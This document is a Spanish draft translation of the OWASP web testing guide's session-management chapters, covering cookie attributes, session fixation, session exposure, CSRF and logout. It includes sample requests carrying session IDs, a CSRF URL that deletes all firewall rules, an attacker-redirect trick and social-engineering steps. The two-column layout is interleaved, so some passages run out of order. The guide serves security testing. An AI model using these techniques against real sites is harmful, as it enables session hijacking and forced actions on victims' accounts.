• Ruta (path) - Además del dominio, la ruta de la URL en la que la cookie es válida puede especificarse. Si coincide el dominio y la ruta, la cookie se enviará en la solicitud. Al igual que con el atributo de dominio, si se establece el atributo de ruta de acceso muy ligeramente, entonces podría dejar a la aplicación vulnerable a los ataques de otras aplicaciones en el mismo servidor. Por ejemplo, si el atributo de la ruta de acceso se establece en la raíz del servidor web "/", entonces se enviarán las cookies de la aplicación para cada aplicación dentro del mismo dominio. • caduca (expires) - este atributo se utiliza para configurar cookies persistentes, puesto que la cookie no caduca hasta que se supera la fecha establecida. Esta cookie persistente se utilizará en esta sesión y en sesiones posteriores hasta que la cookie caduque. Una vez que ha superado la fecha de caducidad, el navegador borrará la cookie. Alternativamente, si no se establece este atributo, entonces la cookie sólo es válida en la sesión actual del navegador y la cookie se eliminará cuando finalice la sesión.

permitiría a un atacante utilizar un servidor vulnerable en el dominio para cosechar la cookie del usuario a través de una vulnerabilidad como XSS. • Atributo de Ruta - Verifique que el atributo de ruta, así como el atributo del dominio, no han sido establecidos muy libremente. Incluso si el atributo del dominio ha sido configurado tan firmemente como es posible, si la ruta de acceso se establece hacia el directorio raíz "/" entonces puede ser vulnerable a aplicaciones menos seguras en el mismo servidor. Por ejemplo, si la aplicación reside en /myapp/, compruebe que la ruta de cookies está ajustada a ";path=/myapp/" y no a ";path =/" o ";path =/myapp". Note aquí que el ruteador "/" debe ser utilizado después de myapp. Si no se utiliza, el navegador enviará la cookie a cualquier ruta que coincida con "myapp", tal como "myapp-exploited". • Atributo de Caducidad - Si este atributo se establece en un momento en el futuro, verifique que la cookie no contenga ninguna información sensible. Por ejemplo, si una cookie se establece en “; expires=Sun, 31-Jul-2016 13:45:29 GMT” y actualmente es 31 de julio de 2014, entonces el evaluador debe inspeccionar la cookie. Si la cookie es una ficha de sesión que se almacena en el disco duro del usuario, entonces un atacante o un usuario local (como un administrador) que tiene acceso a esta cookie puede acceder a la aplicación reenviando esta ficha hasta que pase la fecha de caducidad.

Herramientas Intercepting Proxy: Cómo probar • OWASP Zed Attack Proxy Project Prueba de Caja Negra Probar las vulnerabilidades de los atributos de una cookie: Usando un proxy interceptor o un plug-in interceptor de tráfico del navegador, atrape todas las respuestas que una cookie tiene establecidas por la aplicación (use la directiva Set-cookie) y revise la cookie en busca de lo siguiente:

• Atributo seguro - cada vez que una cookie contiene información sensible o es una ficha de sesión, siempre debe ser pasada mediante un túnel encriptado. Por ejemplo, después de iniciar la sesión en una aplicación y haber establecido una ficha de sesión mediante una cookie, verifique si está etiquetada con una bandera de "seguridad";. Si no es así, entonces el navegador estará de acuerdo en pasar a través de un canal sin encriptar, usando HTTP, y esto podría permitir a un atacante dirigir a los usuarios a enviar sus cookies por un canal inseguro. • Atributo HttpOnly - Este atributo debería fijarse siempre, a pesar de que no todos los navegadores lo soportan. Este atributo ayuda a proteger la cookie del acceso de un script del lado del cliente, no elimina el riesgo de scripts de sitios cruzados, pero elimina algunos vectores de explotación. Verifique si la etiqueta "HttpOnly" ha sido fijada. • Atributo del Dominio - Verifique que el dominio no ha sido establecido muy libremente. Como se señaló anteriormente, sólo debe establecerse para el servidor que necesita recibir la cookie. Por ejemplo, si la aplicación reside en el servidor app.mysite.com, entonces debe establecerse en ";domain=app.mysite.com"y no en ";domain=.mysite.com" ya que esto le

Browser Plug-in: • “TamperIE” for Internet Explorer: bayden.com • Adam Judson: “Tamper Data” for Firefox: addons.mozilla.org

Referencias Libros Blancos • RFC 2965 - HTTP State Management Mechanism: tools.ietf.org • RFC 2616 - Hypertext Transfer Protocol - HTTP 1.1: tools.ietf.org • The important “expires” attribute of Set-Cookie http://seckb.yehg.net/2012/02/important-expires-attribute-of-set.html • HttpOnly Session ID in URL and Page http://seckb.yehg.net/2012/06/httponly-session-id-in-url-and-page.html

Body

Pruebas de Fijación de Sesión (OTG-SESS-003)

Documento Pre-release cortesía de Fernando Vela para drangonjar.org 134

Guia de pruebas 4.0 "Borrador"

Breve resumen Cuando una aplicación no renueva su(s) cookie(s) de sesión después de una autenticación exitosa, podría ser posible encontrar una vulnerabilidad de fijación de sesión y forzar a un usuario a utilizar una cookie conocida por el atacante. En ese caso, un atacante podría robar la sesión del usuario (secuestro de sesión).

Él obtendrá la siguente respuesta

HTTP/1.1 200 OK Date: Wed, 14 Aug 2008 08:45:11 GMT Server: IBM_HTTP_Server Set-Cookie: Path=/; secure

JSESSIONID=0000d8eyYq3L0z2fgq10m4v-rt4:-1;

Las vulnerabilidades de fijación de sesión ocurren cuando: Cache-Control: no-cache=”set-cookie,set-cookie2” Expires: Thu, 01 Dec 1994 16:00:00 GMT • Una aplicación web autentica a un usuario sin invalidar primero el ID de sesión existente, de tal modo que continúa usando el identificador de sesión ya asociado con el usuario. • Un atacante es capaz de forzar un Identificador de sesión conocido sobre un usuario para que, una vez que el usuario se autentica, el atacante tenga acceso a la sesión autenticada.

En una explotación de vulnerabilidades genéricas de fijación de sesión, un atacante crea una nueva sesión en una aplicación web y registra el identificador de sesión asociado. El atacante, entonces, hace que la víctima se autentique en el servidor utilizando el mismo identificador de sesión, lo que da al atacante acceso a la cuenta del usuario a través de la sesión activa.

Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html;charset=Cp1254

La aplicación fija un nuevo identificador de sesión JSESSIONID=0000d8eyYq3L0z2fgq10m4v-rt4:-1 for the client.

A continuación, si el evaluador se autentica con éxito a la aplicación con los siguientes POST HTTPS:

Además, el problema descrito anteriormente es difícil para los sitios que emiten un identificador de sesión sobre HTTP y luego redireccionan al usuario a un formulario de inicio de sesión en HTTPS. Si el identificador de sesión no es regenerado tras la autenticación, el atacante puede husmear y robar el identificador y luego usarlo para secuestrar la sesión.

Cómo probar Pruebas de Caja Negra Probar las vulnerabilidades de fijación de sesión: El primer paso es hacer una solicitud al sitio a ser probado (ejemplo www.example.com). Si el evaluador solicita lo siguiente:

GET www.example.com

Documento Pre-release cortesía de Fernando Vela para drangonjar.org 135

Guia de pruebas 4.0 "Borrador"

POST https://www.example.com/authentication.php HTTP/1.1

HTTP/1.1 200 OK

Host: www.example.com

Date: Thu, 14 Aug 2008 14:52:58 GMT

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.8.1.16) Gecko/20080702 Firefox/2.0.0.16

Server: Apache/2.2.2 (Fedora)

X-Powered-By: PHP/5.1.6 Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain; q=0.8,image/png,*/*;q=0.5

Content-language: en Cache-Control: private, must-revalidate, max-age=0

Accept-Language: it-it,it;q=0.8,en-us;q=0.5,en;q=0.3 X-Content-Encoding: gzip Accept-Encoding: gzip,deflate

Content-length: 4090 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Connection: close Keep-Alive: 300 Content-Type: text/html; charset=UTF-8 Connection: keep-alive ... Referer: http://www.example.com

HTML data Cookie: JSESSIONID=0000d8eyYq3L0z2fgq10m4v-rt4:-1 Content-Type: application/x-www-form-urlencoded Content-length: 57

Name=Meucci&wpPassword=secret!&wpLoginattempt=Log+in

Como ninguna cookie nueva ha sido emitida tras una autenticación exitosa, el evaluador sabe que es posible realizar un secuestro de sesión.

Resultado esperado: El evaluador puede enviar un identificador de sesión válido a un usuario (posiblemente usando un truco de ingeniería social), esperar a que él se autentique y verificar posteriormente que los privilegios han sido asignados a esta cookie.

El evaluador observa la siguiente respuesta del servidor:

Pruebas de Caja Gris Hable con los desarrolladores y entienda si se ha implementado una renovación de ficha de sesión después de una autenticación exitosa de los usuarios.

Resultado esperado: La aplicación debe siempre invalidar el identificador de sesión existente, antes de autenticar a un usuario; y si la autenticación tiene éxito, proporcionar otro identificador de sesión.

Herramientas • Hijack - a numeric session hijacking tool: yehg.net • OWASP WebScarab: owasp.org

Documento Pre-release cortesía de Fernando Vela para drangonjar.org 136

Guia de pruebas 4.0 "Borrador"

Para probar las vulnerabilidades de encriptación y reutilización de las fichas de sesión: Referencias Libros Blancos • Session Fixation: owasp.org • ACROS Security: acrossecurity.com

La protección contra intrusos es proporcionada a menudo por una encriptación SSL, pero puede incorporar otros túneles o encriptados. Cabe señalar que la encriptación o hash criptográfico del identificador de sesión debe considerarse por separado del encriptado del transporte, ya que es el identificador de sesión en sí el que se está protegiendo, no los datos que pueden ser representados por él.

• Chris Shiflett: shiflett.org

Pruebas para determinar la Exposición de las Variables de Sesión (OTGSESS-004) Resumen Las fichas de sesión(Cookie, SessionID, Hidden Field), si se exponen, generalmente permitirán a un atacante hacerse pasar por una víctima y acceder a la aplicación ilegítimamente. Es importante que estén protegidas de intrusos en todo momento, especialmente mientras están en tránsito entre el navegador del cliente y los servidores de las aplicaciones.

Esta información se refiere a cómo la seguridad en el transporte se aplica a la transferencia de datos sensibles del identificador de sesión en general, y puede ser más estricta que las políticas de transporte y almacenamiento en caché de los datos atendidos por el sitio.

Si un atacante puede presentar un identificador de sesión a la aplicación para tener acceso, entonces esta debe estar protegida durante el tránsito para mitigar ese riesgo. Por lo tanto, debería asegurarse que la encriptación sea tanto la norma como el que sea reforzada para cualquier petición o respuesta en la que se transfiera el identificador de sesión, sin importar el mecanismo utilizado (por ejemplo, un campo oculto de un formulario). Debe realizar controles simples como la sustitución de https:// con http:// durante la interacción con la aplicación, junto con la modificación de los formularios publicados para determinar si se implementa la segregación adecuada entre los sitios seguros y no seguros.

Tenga en cuenta también que si hay un elemento en el sitio donde se realiza un seguimiento del usuario a traves de un identificador de sesión, pero la seguridad no está presente (por ejemplo, observando qué documentos públicos descarga un usuario registrado), es esencial que se utilice un identificador de sesión diferente. El identificador de sesión, por lo tanto, debe ser monitoreado mientras el usuaio cambia entre elementos seguros y no seguros para garantizar que se utiliza uno diferente.

Utilizando un proxy interceptor, es posible conocer lo siguiente sobre cada petición y respuesta: Resultado esperado: • Protocol used (e.g., HTTP vs. HTTPS)

Cada vez que la autenticación es exitosa, el usuario debe esperar recibir:

• HTTP Headers • Message Body (e.g., POST or page content)

• Una ficha de sesión diferente • Una ficha enviada a traves de un canal encriptado cada vez que se hace una solicitud HTTP

Cada vez que los datos del identificador de sesión pasan entre el cliente y el servidor, el protocolo, caché, las directivas y cuerpo de privacidad deben ser revisadas. La seguridad del transporte se refiere a la circulación del identificador de sesión por peticiones GET o POST, cuerpo de los mensajes u otros medios, mediante solicitudes HTTP válidas.

Cómo probar

Para probar las vulnerabilidades de proxys y caché Los proxys también debe considerarse al revisar la seguridad de las aplicaciones. En muchos casos, los clientes accederán a la aplicación a través del ISPcorporativo y los proxies o gateways conscientes del protocolo, (por ejemplo, Firewalls). El protocolo HTTP proporciona

Documento Pre-release cortesía de Fernando Vela para drangonjar.org 137

Guia de pruebas 4.0 "Borrador"

directivas para controlar el comportamiento de proxies aguas abajo, y la correcta aplicación de estas directivas también debe ser evaluada. Resultado esperado:

En general, el identificador de sesión nunca debe ser enviado mediante un transporte no encriptado y no debe almacenarse en caché. La aplicación debe ser examinada para asegurarse que las comunicaciones encriptadas sean tanto la norma como el que sean reforzadas para cualquier transferencia de identificadores de sesión. Además, cada vez que se pasa el identificador de sesión, las directivas deben estar colocadas para evitar su almacenamiento en caché por cachés intermedios e incluso locales.

Todo código del lado del servidor que recibe datos de solicitudes POST debe ser analizado para asegurarse que no acepte los datos si se envía como una solicitud GET. Por ejemplo, considere la siguiente petición POST, generada por una página de registro.

POST https://owaspapp.com/login.asp HTTP/1.1 Host: owaspapp.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.0.2) Gecko/20030208 Netscape/7.02 Paros/3.0.2b

La aplicación debe configurarse también para asegurar los datos en caché, tanto en HTTP/1.0 y HTTP/1.1 – RFC 2616 discute los controles adecuados en cuanto a HTTP. HTTP/1.1 proporcionando una serie de mecanismos de control de caché. Control-Cache: no-cache indica que un proxy no debe volver a utilizar los datos.

Accept: */* Accept-Language: en-us, en Accept-Charset: ISO-8859-1, utf-8;q=0.66, *;q=0.66 Keep-Alive: 300

Whilst Cache-Control: Private parece ser una directiva adecuada. Esto permite a un proxy no compartido acceder a los datos del caché. En el caso de café net u otros sistemas compartidos, esto presenta un riesgo evidente. Incluso con estaciones de trabajo monousuario, el identificador de sesión almacenada en caché puede quedar expuesto si el sistema de archivos se encuentra comprometido o si se utilizan cadenas de tiendas. Los Cachés de HTTP/1.0 no reconocen la directiva de Cache-Control: nocache.

Cookie: ASPSESSIONIDABCDEFG=ASKLJDLKJRELKHJG Cache-Control: max-age=0 Content-Type: application/x-www-form-urlencoded Content-Length: 34

Login=Username&password=Password&SessionID=12345678 Resultado esperado: Las directivas "Expires: 0" y Cache-Control: max-age = 0 pueden usarse para asegurar posteriormente que los cachés no expongan los datos. Cada solicitud y respuesta que pasa datos del identificador de sesión deben ser examinadas para asegurar que las directivas de caché adecuadas están siendo utilizadas.

Si login.asp está mal implementado, es posible iniciar una sesión con la siguiente URL: http://owaspapp.com/login.asp?Login=Username&password=Password&Sessio nID=12345678

Para probar Las vulnerabilidades De GET Y POST: En general, las solicitudes GET no deberían utilizarse, ya que el identificador de sesión puede quedar expuesto en el registro del Proxy o del Firewall. También son más fácilmente manipulables que otros tipos de transporte, aunque debe señalarse que cualquier mecanismo puede ser manipulado por el cliente con las herramientas adecuadas. Además, los ataques de scripts de sitios cruzados (XSS) son explotados más fácilmente mediante el envío de un enlace especialmente construido para la víctima. Esto es mucho menos probable si los datos se envían desde el cliente como POST.

Se pueden identificar los scripts potencialmente inseguros del servidor revisando cada POST de esta manera.

Para probar las vulnerabilidades de transporte: Toda la interacción entre el cliente y la aplicación debe probar, al menos, los siguientes criterios.

Documento Pre-release cortesía de Fernando Vela para drangonjar.org 138

Guia de pruebas 4.0 "Borrador"

• ¿Cómo se transfieren los identificadores de sesión, por ejemplo, GET, POST, Form Field(incluyendo campos ocultos)?

[3] La gestión de sesión de la aplicación basada únicamente en la información que es conocida por el navegador;

• ¿Son los identificadores de sesión enviados siempre a través de transporte encriptado por defecto?

[4] La existencia de etiquetas HTML cuya presencia permite un acceso inmediato a un recurso http[s]; por ejemplo, la etiqueta de imagen img.

• ¿Es posible manipular la aplicación para enviar los identificadores de sesión sin encriptar?, ¿por ejemplo, cambiando de HTTPS a HTTP? • ¿Qué directivas de control de caché se aplican a las solicitudes o respuestas que pasan identificadores de sesión? • ¿Están siempre presentes estas directivas? Si no es así, ¿dónde están estas excepciones?

Los puntos 1, 2 y 3 son esenciales para que la vulnerabilidad esté presente, mientras que el punto 4 es un accesorio y facilita la explotación real, pero no es estrictamente necesario.

• ¿Incorporan las solicitudes GET al identificador de sesión utilizado? • ¿Si se utiliza un POST, puede ser intercambiado con GET?

Referencias Libros Blancos • RFCs 2109 & 2965 – HTTP State Management Mechanism [D. Kristol, L. Montulli]: ietf.org • RFC 2616 - Hypertext Transfer Protocol - HTTP/1.1: ietf.org

Pruebas de un CSRF (OTG-SESS-005)

Punto 1) Los navegadores envían automáticamente información que se utiliza para identificar una sesión de usuario. Supongamos que el sitio es un sitio que aloja una aplicación web, y el usuario víctima acaba de autenticarse sólo en el sitio. En respuesta, el sitio envía a la víctima una cookie que identifica las peticiones enviadas por la víctima como pertenecientes a la sesión autenticada por él o ella. Básicamente, una vez que el navegador recibe la cookie configurada por el sitio, automáticamente la enviará junto con cualquier otra solicitud dirigida al sitio.

Punto 2) Si la aplicación no hace uso de la información relacionada con la sesión en las URL, entonces significa que las URL de la aplicación, sus parámetros y valores legítimos pueden identificarse (ya sea por el análisis de código o accediendo a la aplicación y tomando nota de los formularios y direcciones URL incrustadas en el HTML/JavaScript).

Resumen CSRF es un ataque que obliga a un usuario a ejecutar acciones no deseadas en una aplicación web en la que actualmente él o ella se encuentra autenticado(a). Con un poco de ayuda de la ingeniería social (como enviar un enlace a través de un correo electrónico o chat), un atacante puede forzar a los usuarios de una aplicación web a ejecutar acciones escogidas por el atacante.

Un ataque CSRF exitoso puede comprometer los datos del usuario final y la operación cuando se dirige a un usuario normal. Si la cuenta de administrador es el usuario final objetivo , un ataque CSRF puede comprometer a toda la aplicación de web.

CSRF se basa en lo siguiente:

Punto 3) "Conocida por el navegador" se refiere a información como cookies o información de autenticación basada en http (como autenticación básica y no basada en los formularios de autenticación), que son almacenadas por el navegador y posteriormente enviadas a cada petición dirigida hacia un área de aplicación, solicitando la autenticación. Las vulnerabilidades discutidas a continuación se refieren a las aplicaciones que dependen totalmente de este tipo de información para identificar una sesión de usuario.

Supongamos, para simplificar, que para referirse a las direcciones URL accesibles mediante peticiones GET (aunque la discusión se aplica también a las peticiones POST). Si la víctima ya se ha autenticado, el envío de otra petición causa que la cookie se despache automáticamente con ésta (vea la imagen, donde el usuario accede a una aplicación en www.example.com).

[1] El comportamiento del navegador web con respecto al manejo de información relacionada con la sesión como las cookies y la información de autenticación http; [2] El conocimiento del atacante sobre URLs válidos de aplicaciones web;

Documento Pre-release cortesía de Fernando Vela para drangonjar.org 139

Guia de pruebas 4.0 "Borrador"



...

La petición GET puede originarse de varias maneras diferentes:

• por el usuario, que está utilizando la aplicación web misma;



width=”0”

...

• por el usuario, que escribe la URL directamente en el navegador; • por el usuario, que sigue un enlace (externo a la aplicación) apuntando a la URL.

Estas invocaciones son indistinguibles por la aplicación. En particular, el tercer punto puede ser muy peligroso. Hay una serie de técnicas (y vulnerabilidades) que pueden encubrir las propiedades reales de un enlace. El enlace puede incrustarse en un mensaje de correo electrónico, o aparecer en un sitio web malintencionado donde el usuario es engañado, es decir, el enlace aparece en el contenido alojado en otra parte (otro sitio web, un mensaje de correo electrónico HTML, etc.) y apunta a un recurso de la aplicación. Si el usuario hace clic en el enlace, puesto que él ya estaba autenticado por la aplicación web en el sitio, el navegador enviará una petición GET a la aplicación web, acompañada de la información de autenticación (la cookie de identificación de sesión). Esto resulta en una operación válida, realizada en la aplicación web que probablemente no es lo que el usuario esperaba que ocurra. Piense en un enlace malicioso que realiza una transferencia de fondos en una aplicación web bancaria para apreciar las implicaciones.

Mediante el uso de una etiqueta como img, tal como se especificó anteriormente en el punto 4, ni siquiera es necesario que el usuario siga un enlace concreto. Supongamos que el atacante envía al usuario un correo electrónico que le invita a visitar una URL de una página que contiene el siguiente código HTML (sobresimplificado):



Lo que hará el evaluador cuando presente esta página es intentar mostrar también el carácter zero-width especificado (es decir, invisible). Esto resulta en una petición que se envía automáticamente a la aplicación web alojada en el sitio. No importa que la imagen del URL no haga referencia a una imagen adecuada; su presencia activará la solicitud especificada en el campo SRC de todos modos. Esto sucede siempre que la descarga de imagenes no esté deshabilitada en los navegadores, que es una configuración típica, ya que desactivar las imágenes significaría paralizar la mayoría de las aplicaciones web inutilizándolas.

El problema aquí es una consecuencia de los siguientes hechos:

• Hay etiquetas HTML cuya aparición en una página resulta en una ejecución de una solicitud automática de la http (siendo una de éstas img); • el navegador no tiene manera de saber que el recurso referenciado por img no es realmente una imagen y que de hecho no es legítimo; • la carga de la imagen sucede independientemente de la ubicación de la supuesta imagen, es decir, el formulario y la imagen en sí no necesitan estar ubicados en el mismo host, ni siquiera en el mismo dominio. Aunque ésta es una característica muy útil, hace difícil compartimentar aplicaciones.

Es un hecho que el contenido HTML no relacionado con la aplicación web puede referirse a los componentes de la aplicación, y que el navegador automáticamente crea una solicitud válida para la aplicación, que permite este tipo de ataques. Como no hay estándares definidos en este momento, no hay manera de prohibir este comportamiento a menos que se haga imposible que el atacante pueda especificar solicitudes de direcciones URL válidas. Esto significa que las URL válidas deben incluir información relacionada a la sesión del usuario, que supuestamente no pueda ser

Documento Pre-release cortesía de Fernando Vela para drangonjar.org 140

Guia de pruebas 4.0 "Borrador"

conocida por el atacante y, por lo tanto, sea imposible la identificación de esas URL.

El problema podría ser aún peor ya que, en ambientes integrados de correo y navegador, simplemente mostrar un mensaje de correo electrónico que contiene la imagen resultaría en la ejecución de la solicitud hacia la aplicación web con la cookie del navegador asociado.

Las cosas pueden ofuscarse más mediante la referencia de la imagen aparentemente válida de la URL como:



donde [atacante] es un sitio controlado por el atacante, utilizando un mecanismo de redirección en:

http://[attacker]/picture.gif to http://[thirdparty]/action.

Las cookies no son el único ejemplo en este tipo de vulnerabilidad. Las aplicaciones web cuya información de sesión se suministra totalmente mediante el navegador son vulnerables también. Esto incluye aplicaciones que se apoyan solamente en mecanismos de autenticación HTTP, ya que la información de autenticación es conocida por el navegador y se envía automáticamente en cada petición. Esto NO incluye la autenticación basada en formularios, que ocurre sólo una vez y genera algún tipo de información relacionada con la sesión (por supuesto, en este caso, dicha información se expresa simplemente como una cookie y podemos caer en uno de los casos anteriores).

configuración si el usuario introduce '*' (una característica peligrosa, pero que hará que el ejemplo sea más interesante). La página de eliminación se muestra a continuación. Supongamos que el formulario – por simplicidad – emite una solicitud GET, que tendrá la forma:

https://[target]/fwmgt/delete?rule=1

(para eliminar la regla número uno)

https://[target]/fwmgt/delete?rule=*

(para eliminar todas las reglas).

El ejemplo es deliberadamente ingenuo, pero muestra de manera sencilla los peligros del CSRF.

Por lo tanto, si entramos el valor '*' y presiona el botón Supr, se envía la siguiente solicitud GET:

https://www.company.example/fwmgt/delete?rule=*

Escenario de ejemplo Supongamos que la víctima ha iniciado la sesión en una aplicación web de gestión de firewall. Para iniciar la sesión, un usuario tiene que autenticarse por sí mismo y la información de sesión se almacena en una cookie.

Supongamos que la aplicación web de gestión de firewall tiene una función que permite al usuario autenticado eliminar una regla especificada por su número posicional, o todas las reglas de la

Documento Pre-release cortesía de Fernando Vela para drangonjar.org 141

Guia de pruebas 4.0 "Borrador"

con el efecto de eliminar todas las reglas del firewall (y terminar en una situación posiblemente inconveniente). Cómo probar Pruebas de Caja Negra Para una prueba de Caja Negra, el evaluador debe conocer las direcciones URL en el área restringida (autenticada). Si poseen credenciales válidas, pueden asumir ambos roles – el de agresor y el de víctima. En este caso, los evaluadores saben las URL a probar solo con hojear alrededor de la aplicación. Ahora, este no es el único escenario posible. El usuario podría haber logrado los mismos resultados enviando manualmente la URL

https://[target]/fwmgt/delete?rule=*

o siguiendo un enlace directamente o a través de una redirección a la URL anterior, O, nuevamente, accediendo a un HTML con una etiqueta img integrada que apunte a la misma URL.

En todos estos casos, si el usuario tiene iniciada una sesión en la aplicación de administración del firewall, la petición tendrá éxito y modificará la configuración del firewall. Uno puede imaginar los ataques contra aplicaciones sensibles y lograr hacer pujas u ofertas en subastas automáticas, transferencias de dinero, órdenes, cambiar la configuración de componentes de software crítico, etc.

Una cosa interesante es que estas vulnerabilidades pueden practicarse detrás de un firewall; es decir, es suficiente que el enlace atacado sea accesible por parte de la víctima (no directamente por el atacante). En particular, puede ser cualquier servidor de web de Intranet; por ejemplo, la estación de administración del firewall mencionado anteriormente, que es poco probable que sea expuesto a Internet. Imagine un ataque CSRF dirigido a una aplicación de monitoreo de una planta de energía nuclear. ¿Suena poco probable? Puede ser, pero es una posibilidad.

Las aplicaciones autovulnerables, es decir, aplicaciones que se utilizan tanto como vector de ataque como destino (por ejemplo, aplicaciones de correo web), empeoran las cosas. Si una aplicación es vulnerable, el usuario está obviamente registrado cuando lee un mensaje que contiene un ataque CSRF, que puede apuntar a la aplicación de correo web y tenerla realizando acciones como borrar mensajes, enviar mensajes que aparecen como enviados por el usuario, etc.

De lo contrario, si los evaluadores no tienen credenciales válidas disponibles, tienen que organizar un ataque real y así inducir a un usuario legitimamente registrado a seguir hacia el enlace apropiado. Esto puede implicar un nivel substancial de ingeniería social.

De cualquier manera, un caso de prueba se puede construir de la siguiente manera: • Asumiendo que 'u' sea la URL a probar; por ejemplo, u = http://www.example.com/action • Construya una página html que contenga la solicitud http que hace referencia a la URL 'u' (especificando todos los parámetros relevantes; en el caso de una solicitud http GET esto es directo, mientras que para una solicitud POST necesita recurrir a algunos Javascript); • Asegúrese de que el usuario se encuentra registrado en la aplicación; • Induzca al usuario a seguir el enlace apuntando a la URL a probar (involucre ingeniería social si usted no puede suplantar al usuario); • Observe el resultado, es decir, compruebe si el servidor web ejecuta la solicitud.

Pruebas de Caja Gris Audite la aplicación para determinar si su gestión de sesión es vulnerable. Si la gestión de sesiones se basa únicamente en los valores del lado del cliente (información disponible para el navegador), entonces la aplicación es vulnerable. "Valores del lado del cliente" significa cookies y credenciales de autenticación de HTTP (autenticación básica y otras formas de autenticación HTTP, autenticación no basada en formularios, que es una autenticación a nivel de aplicación). Para que una aplicación no sea vulnerable, debe incluir información relacionada con la sesión en la URL, en una forma no identificable o impredecible para el usuario ([3] utiliza el término secreto para hacer referencia a este dato).

Documento Pre-release cortesía de Fernando Vela para drangonjar.org 142

Guia de pruebas 4.0 "Borrador"

Los recursos accesibles a través de peticiones HTTP GET son fácilmente vulnerables, aunque las peticiones POST se pueden automatizar vía Javascript y son vulnerables también, por lo tanto, el uso exclusivo de solicitudes POST no es suficiente para corregir la aparición de vulnerabilidades CSRF.

Herramientas

• No utilice el mismo navegador para acceder a aplicaciones sensibles y para navegar libremente por Internet. Si es necesario, haga ambas cosas en la misma máquina y con distintos navegadores.

Tanto el correo/navegador como los entornos de lector/navegador integrados en HTML plantean riesgos adicionales, puesto que simplemente ver un mensaje de correo o un mensaje de noticias puede conducir a la ejecución de un ataque.

• OWASP ZAP: owasp.org • CSRF Tester: owasp.org Desarrolladores • Cross Site Requester: owasp.org • Cross Frame Loader: owasp.org • Pinata-csrf-tool: code.google.com

Agregue información relacionada a la sesión a la URL. Lo que hace posible el ataque es el hecho de que la sesión es identificada como única por la cookie, que se envía automáticamente por el navegador. Tener otra información específica de la sesión que se genera a nivel de la URL dificulta al atacante conocer la estructura de las URL a atacar.

Referencias Libros Blancos • Peter W: “Cross-Site Request Forgeries”: tux.org • Thomas Schreiber: “Session Riding”: securenet.de • Oldest known post: zope.org • Cross-site Request Forgery FAQ: cgisecurity.com • A Most-Neglected Fact About Cross Site Request Forgery (CSRF): yehg.net

Remediación Las siguientes defensas se dividen entre las recomendaciones para los usuarios y para los desarrolladores.

Otras defensas, mientras no resuelvan el problema, contribuyen a hacer más difícil la explotación: • Usar solicitudes POST en vez de solicitudes GET. Puesto que las solicitudes POST se pueden simular mediante JavaScript, esto hace que sea más complejo montar un ataque. • Lo mismo sucede con páginas de confirmación intermedias (tales como: "¿está seguro que desea hacer esto?"). Estas pueden ser evitadas por un atacante, aunque harán su trabajo un poco más complejo. Por lo tanto, no dependa únicamente de estas medidas para proteger su aplicación. • Los mecanismos de cierre automático de sesión mitigan, de alguna manera, la exposición a estas vulnerabilidades, aunque en última instancia depende del contexto (un usuario que trabaja todo el dia en una aplicación web bancaria vulnerable tiene obviamente un mayor riesgo que un usuario que utiliza la misma aplicación ocasionalmente).

Actividades de seguridad relacionadas Usuarios Ya que las vulnerabilidades CSRF son, al parecer, generalizadas, se recomienda seguir las mejores prácticas para mitigar el riesgo. Algunas acciones de mitigación son: • Cierre la sesión inmediatamente después de usar una aplicación web. • No permita que el navegador guarde el nombre de usuario/contraseñas y no permita que los sitios web "recuerden" la información de registro.

Descripción de vulnerabilidades CSRF Vea el artículo de OWASP sobre vulnerabilidades CSRF.

Cómo evitar las vulnerabilidades CSRF Vea en la guía de desarrollo OWASP el artículo sobre cómo evitar las vulnerabilidades CSRF.

Documento Pre-release cortesía de Fernando Vela para drangonjar.org 143

Guia de pruebas 4.0 "Borrador"

Cómo revisar el código de vulnerabilidades CSRF Vea la guía de revisión de código de OWASP sobre cómo Revisar las vulnerabilidades CSRF.

A los usuarios de navegadores web a menudo no les importa que una aplicación está todavía abierta y simplemente cierran el navegador o la pestaña. Una aplicación web debe considerar este comportamiento y terminar la sesión automáticamente del lado del servidor después de un tiempo definido.

Cómo prevenir vulnerabilidades CSRF Vea la Hoja de Prevención de Trampas CSRF de OWASP para ver medidas de prevención.

Pruebas de la funcionalidad del cierre de sesión (OTG-SESS-006)

El uso de un sistema de registro único (single sign-on ó SSO) en lugar de un esquema de autenticación de aplicaciones específicas, a menudo causa la coexistencia de múltiples sesiones que deben terminarse por separado. Por ejemplo, la terminación de la sesión de la aplicación específica no termina la sesión en el sistema SSO.

Resumen El cierre de sesión es una parte importante del ciclo de vida de la sesión. Reducir al mínimo la vida útil de las fichas de sesión disminuye la probabilidad de un ataque de secuestro de sesión exitoso. Esto puede verse como un control contra la prevención de otros ataques como el Cross Site Scripting (CSS) o Cross Site Request Forgery (CSRF). Se conoce que este tipo de ataques dependen de que un usuario tenga una sesión autenticada en ese momento. No tener una terminación de sesión segura sólo aumenta la superficie de ataque para cualquiera de estos ataques.

Navegar de vuelta hacia el portal SSO ofrece al usuario la posibilidad de volver a iniciar una sesión en la aplicación donde la sesión fue terminada poco antes. Por otro lado, una función de registro en un sistema SSO no necesariamente causa el cierre de sesión en las aplicaciones interconectadas.

Cómo probar

Una terminación de sesión segura requiere, por lo menos, de los siguientes componentes:

• La disponibilidad de controles de interfaz de usuario que permiten al usuario desconectarse manualmente.

Para probar la interfaz de cierre de sesión del usuario: Verifique el aspecto y la visibilidad de la funcionalidad de la interfaz de cierre de sesión del usuario. Para ello, vea cada página desde la perspectiva de un usuario que tiene la intención de cerrar la sesión de la aplicación web.

• La terminación de la sesión después de un período específico de tiempo sin actividad (tiempo de caducidad de sesión).

Resultado esperado:

• Una correcta anulación del estado de la sesión desde el servidor.

Existen algunas propiedades que indican una buena interfaz de cierre de sesión del usuario:

